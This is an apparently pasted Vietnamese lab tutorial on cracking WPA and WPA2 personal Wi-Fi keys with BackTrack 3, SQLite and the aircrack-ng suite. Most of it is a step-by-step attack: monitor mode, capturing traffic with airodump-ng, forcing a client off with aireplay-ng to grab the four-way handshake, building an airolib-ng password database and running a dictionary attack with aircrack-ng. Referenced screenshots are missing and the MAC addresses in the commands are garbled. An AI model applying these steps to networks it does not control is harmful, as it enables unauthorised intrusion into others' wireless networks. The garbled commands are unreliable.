New Microsoft Word Document

THIẾT BỊ : Một AP làm AP target Một PC có card wireless làm client target. Một PC có card wireless làm attacker Một đĩa CD backtrack 3.0 YÊU CẦU: Để cr_ac*k được wpa thì yêu cầu phải có môi trường cơ sở dữ liệu SQLite. Ta có thể download SQLite tại http://www.sqlite.org/sqlite-3.5.7.tar.gz . Một list chứa các password, list này phải đảm bảo có chứa khoá của mạng mà ta cần hack Một list chứa các ssid, list này phải đảm bảo có chứa ssid của AP target. Bài lab này sẽ tiến hành Crac_k các loại khoá là WPA PERSONAL TKIP, WPA PERSONAL AES, WPA2 AES và WPA2 TKIP+AES. CÁC BƯỚC TIẾN HÀNH Crac_k: CÀI ĐẶT SQLite như sau: tar xvzf /root/Desktop/sqlite/sqlite-3.5.7.tar.gz cd sqlite-3.5.7 ./configure --prefix=/usr/local Make Crac_k WPA TKIP: •Chuyển card wireless về monitor mode như hình sau:

Dò tìm kênh và MAC address của AP target và client target bằng lệnh airodump-ng ath0 , kết quả dò tìm như hình sau:

• Tiến

hành bắt gói trên kênh và MAC address của AP target vừa tìm được bằng lệnh: airodump-ng –c 1 –w/root/desktop/capture/wpa –bssid 00bf:05: d6:0c ath0

Tiếp theo, ta dùng tool aireplay và MAC address của client target để tạo ra 4 bước bắt tay với AP target : Aireplay-ng -0 1 –a 00bf:05: d6:0c –c 00b6:99 78 ath0

Quay lại màn hình bắt gói airodump quan sát ta thấy quá trình bắt tay đã diễn ra như hình sau:

Thế là ta đã capture được 4 bước bắt tay với AP target. • Dùng tool airolib-ng để tạo cơ sở dữ liệu cho quá trình ***** bằng lệnh airolib-ng vnpro_gtvt_hcm init với vnpro_gtvt_hcm là tên của cơ sở dữ liệu được chứa mặc định trong home folder. Sau đó, ta import các list password và list ssid vào cơ sỡ dữ liệu vnpro_gtvt_hcm như sau: Airolib-ng vnpro_gtvt_hcm import ascii essid dictionary.txt /* với dictionary.txt là list chứa tên các ssid */

Airolib-ng vnpro_gtvt_hcm import ascii passwd password.lst /* với password.lst là file chứa các password */

• Ta

kết hợp các ssid với password với nhau sau khi import thành công list password và list ssid bằng lệnh: Airolib-ng vnpro_gtvt_hcm batch kiểm tra lại số ssid và password hợp lệ mà ta có bằng lệnh sau: Airolib-ng vnpro_gtvt_hcm stats

mở một shell mới chạy tool aircrack-ng để tìm khoá : aircrack-ng –r vnpro_gtvt_hcm /root/desktop/capture/wpa*.cap

Sau khi lệnh thực hiện xong, ta thu được key

Quá trình crac*k khoá WPA AES, WPA2 AES và WPA2 TKIP+AES bao gồm các bước thực hiện hoàn toàn như việc crac*k WPA TKIP. Chúc các bạn thành công!